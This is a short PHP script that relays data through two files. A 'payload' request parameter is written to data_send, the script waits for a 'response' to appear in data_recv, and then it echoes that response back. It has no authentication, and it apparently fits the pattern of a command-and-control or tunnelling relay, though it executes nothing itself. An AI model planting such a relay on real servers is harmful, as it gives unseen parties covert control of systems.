<?php
// Set the file path
$dataSendFilePath = 'data_send';
$dataRecvFilePath = 'data_recv';

// Check if the payload parameter is set
if (isset($_REQUEST['response'])) {
    $response = $_REQUEST['response'];
    file_put_contents($dataRecvFilePath, $response);
    file_put_contents($dataSendFilePath, '');
    die();
}

// Check if the "payload" parameter exists in the request
if (isset($_REQUEST['payload'])) {
    // Get the payload value
    $payload = $_REQUEST['payload'];

    // Acquire an exclusive lock on the "data_send" file
    $sendFile = fopen('data_send', 'w');
    if (flock($sendFile, LOCK_EX)) {
        // Write the payload to the "data_send" file
        fwrite($sendFile, $payload);

        // Release the lock and close the file
        flock($sendFile, LOCK_UN);
        fclose($sendFile);
    } else {
        // Failed to acquire the lock
        die('Failed to write payload to data_send file.');
    }
}

// Check if the "data_recv" file contains data
while (true) {
    $dataRecv = file_get_contents('data_recv');
    
    // Check if the file contains data
    if (!empty($dataRecv)) {
        // Display the data
        echo $dataRecv;
        
        file_put_contents($dataRecvFilePath, '');
        file_put_contents($dataSendFilePath, '');
        // Exit the loop
        break;
    }
    
    // Wait for a second before checking again
    sleep(1);
}








?>